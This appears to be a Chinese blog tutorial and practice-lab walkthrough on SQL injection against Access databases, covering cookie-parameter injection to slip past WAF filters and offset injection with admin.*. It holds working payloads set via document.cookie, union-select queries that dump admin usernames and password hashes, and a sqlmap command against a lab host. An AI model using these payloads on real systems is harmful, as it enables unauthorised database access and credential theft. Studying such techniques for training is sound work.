Access注入 — Cookie注入+偏移注入

文章目录

  • cookie注入
    • 什么是cookie
    • 什么是cookie注入
    • 设置cookie
    • 注意
    • 练习
    • sqlmap如何跑cookie注入(不建议)
  • 偏移注入
    • 使用场景
    • 常用语句
    • 偏移注入步骤
    • 注意
    • 练习

cookie注入

什么是cookie

  • Cookie就是代表你身份的一串字符串,网站根据Cookie来识别你是谁,如果你获取了管理员的Cookie,你可以无需密码直接登陆管理员账号。
  • 一种储存在用户本地上的数据,指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)

什么是cookie注入

  • 在动态脚本语言中存在超全局变量可以获取多种传参方式(基本上)
  • 很多开发的时候为了考虑到多种接受参数,在接受参数的时候都是用多种解释传参的方法
  • 例如:php中的$_REQUEST[] 可以获取POST|GET|COOKIE传参
  • php 5.4及以上版本就不会接受Cookie传参了。
  • 如果说开发用了$_REQUEST[]来接受参数?然后我们的POSTGET传参被Waf拦截了怎么办?那么也许Waf没有对Cookie进行检测,我们尝试用Cookie进行传参,然后不就可以绕过检测机制!

设置cookie

  1. 使用burp抓取数据包,添加一个Cookie字段在请求头里面

Access注入 — Cookie注入+偏移注入_第1张图片
Access注入 — Cookie注入+偏移注入_第2张图片
注意Cookie传参值需要URL编码

  1. JS来设置cookie

Access注入 — Cookie注入+偏移注入_第3张图片
我们选择Console,打开浏览器的控制台,输入设置Js的语句就可以了
document.cookie="id="+escape("171")或者document.cookie="id=abc",【escape()函数对字符串进行编码,这个函数会进行一次URL编码;+为拼接符】通过浏览器Document.cookie来设置Cookie

  1. 在开发者工具中的存储模块下,右键添加项目,写入cookie的名称和值。
    火狐浏览器
    Access注入 — Cookie注入+偏移注入_第4张图片
    edge浏览器:
    Access注入 — Cookie注入+偏移注入_第5张图片

注意

  1. 最简单的联合查询,因为是Access数据库,我们没有系统自带表,而且Access数据库只有一个数据库,不用纠结库名。那么怎么获取Access数据库的表名和字段名,方法只有爆破。
  2. 账号密码一般在盛行Access数据库的年代,都在admin表的usernamepassword字段中。
  3. Cookie注入的时候一定要把GET类型的传参删除,不然优先执行GET类型传参。
  4. 我们使用浏览器进行修改cookie来注入,在控制台修改cookie后需要在控制台点击一次回车,在页面的url处点击一次回车,总共需要点击两次,切忌刷新。
  5. access数据库没有infomation库,也没有记录表名、字段名的表等。
  6. 如果不知道表名怎么办?
    只能靠爆破了,and exists (select*from 表名) 如果页面正常,就是存在这个表 ,access数据库使用的是exists()函数,该函数用来检查子查询是否至少会返回一行书库,该子查询返回的是truefalse
  7. Cookie注入常见吗?老一点的ASP网站常见,PHP看版本,因为高于5.2以上的php版本他的$_REQUEST将不再接受cookie传参。
  8. cookie注入不一定是access数据库,只不过是因为有些编程语言比较低的版本,用request接收传参的时候,可以接收cookie的传参,这就到导致了cookie注入,而使用access数据库本来就是很老的数据库,使用access数据库存在cookie注入的可能性更大。

练习

  1. 进入把场后点击新闻动态,我们看到url中出现id=171,尝试添加and 1=2,发现提示被过滤
    Access注入 — Cookie注入+偏移注入_第6张图片
  2. 使用order by猜测字段数,得出字段数为10.
    Access注入 — Cookie注入+偏移注入_第7张图片
  3. 我们使用union select语句发现出现了报错。
    Access注入 — Cookie注入+偏移注入_第8张图片
  4. cookie注入的前提是access注入,而不是mysql数据库,所以即使没有过滤也不能使用以往方式进行注入。
  5. 我们用document.cookie="id=" + escape("171")来进行cookie注入,发现回显正常。
    Access注入 — Cookie注入+偏移注入_第9张图片
  6. 我们用document.cookie="id=" + escape("172")发现回显页面与id=171相同,说明我们这里设置的cookie并未生效。
    Access注入 — Cookie注入+偏移注入_第10张图片
  7. 我们发现浏览器在get传参和cookie传参同时存在时,会优先进行get传参。
    Access注入 — Cookie注入+偏移注入_第11张图片
  8. 要想传参生效,必须先删除url中的get传参。
    Access注入 — Cookie注入+偏移注入_第12张图片
  9. document.cookie="id=" + escape("171 and 1=1")页面回显正常,document.cookie="id=" + escape("171 and 1=2")回显数据库错误,这等同于第一点中的get传参语句。
  10. document.cookie="id="+escape("171 and exists (select * from admin)")回显正常。
  11. 使用burp进行表名的爆破,其中表可以从sqlmapdata文件夹下面自带的表进文件进行爆破。
    Access注入 — Cookie注入+偏移注入_第13张图片
  12. document.cookie="id="+escape("171 and exists (select username from admin)")回显正常
  13. 爆破admin表中的列名跟上面一样的步骤。
  14. document.cookie\="id="+escape("171 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin")access数据库不支持select 1,2,3 这样的语句,他必须要跟表名】查看回显位置。
    Access注入 — Cookie注入+偏移注入_第14张图片
  15. document.cookie="id="+escape("171 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin")得到一串字符,一般均为加密后的字符。
    Access注入 — Cookie注入+偏移注入_第15张图片
  16. 16位或者32位很大概率为md5加密,我们用md5解密账户admin的密码。
  17. 我们使用账号密码登录后台。
    Access注入 — Cookie注入+偏移注入_第16张图片
    Access注入 — Cookie注入+偏移注入_第17张图片

sqlmap如何跑cookie注入(不建议)

Sqlmap可以提高检测等级来进行cookie注入(检测等级3及以上,要指定参数)
还可以抓包,在Cookie后面打个*就可以了

sqlmap.py -u "http://kypt8004.ia.aqlab.cn/shownews.asp" --cookie "id=171" --level 2

偏移注入

使用场景

  • SQL注入的时候会遇到一些无法查询列名的问题,比如系统自带数据库的权限不够而无法访问系统自带库。
  • 当你猜到表名无法猜到字段名的情况下,我们可以使用偏移注入来查询那张表里面的数据。
  • Sqlmap之类的工具实际上是爆破字段的名字,但是如果字段名称比较奇葩,例如:H5scker_Passwd 之类的那就无可奈何了

常用语句

  1. select admin.* from admin = select username,password from admin => admin.*id,username,passwordadmin表中的所有字段
  2. select * from news where id = 1 union select 1,2,3,admin.*,7,8,9,10 (假设news表中有10个字段,并且6这个位置是显错位,admin表假设拥有3个字段分别是id,username,password)
select 1,2,3,4,admin.*,8,9,10  =>select 1,2,3,4,id,username,password,8,9,10 

Access注入 — Cookie注入+偏移注入_第18张图片
Access注入 — Cookie注入+偏移注入_第19张图片

偏移注入步骤

Access注入 — Cookie注入+偏移注入_第20张图片

注意

  1. 前提:偏移注入要注入表的字段数,小于当前页面的字段数
  2. Access偏移注入使用场景:一些无法查询的列名,比如权限不足的知道表名却不知道字段 ,使用偏移查询主要查询字段及内容等
  3. mysql也可以使用偏移注入。
  4. access数据库里没有系统自带表,只能猜。
  5. and exist(select * from admin) 类似的盲注的语句能否使用?
    这里主要是涉及偏移注入,那一条的确是access的盲注语句,但在现在的情况下并不适用,因为你不知道字段名,无法盲注

练习

  1. 使用union select语句,document.cookie="id=" + escape("171 union select 1,2,3,4,5,6,7,8,9,10 from admin")得出显错位为2和3.【只是指定了admin表,并不是当前表】
    Access注入 — Cookie注入+偏移注入_第21张图片
  2. document.cookie="id=" + escape("171 union select 1,admin.*,3,4,5,6,7,8,9,10 from admin")发现回显错误,因为我们并不知道admin表中有几个字段。
  3. 再次尝试document.cookie="id=" + escape("171 union select admin.*,3,4,5,6,7,8,9,10 from admin")回显错误,说明admin表中并不是有两个字段。
  4. 我们尝试到10,发现依然回显错误,说明表的字段数要大于当前页面的字段数。
  5. 我们切到产品中心页面尝试后,发现该页面存在注入问题。
  6. document.cookie="id=" + escape("105 order by 26")说明当前页面字段数为26.
  7. 使用第二步的语句,union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin查看admin表中的回显位置,发现回显位置为3、5、7、25.
  8. 使用第三步的方法,得出admin表中的字段数为16.
    Access注入 — Cookie注入+偏移注入_第22张图片
  9. document.cookie="id=" + escape("105 union select 1,2,3,4,5,6,7,8,9,admin.*,26 from admin")得出flag在显错位25.
    Access注入 — Cookie注入+偏移注入_第23张图片

你可能感兴趣的:(常见web漏洞,安全,数据库注入)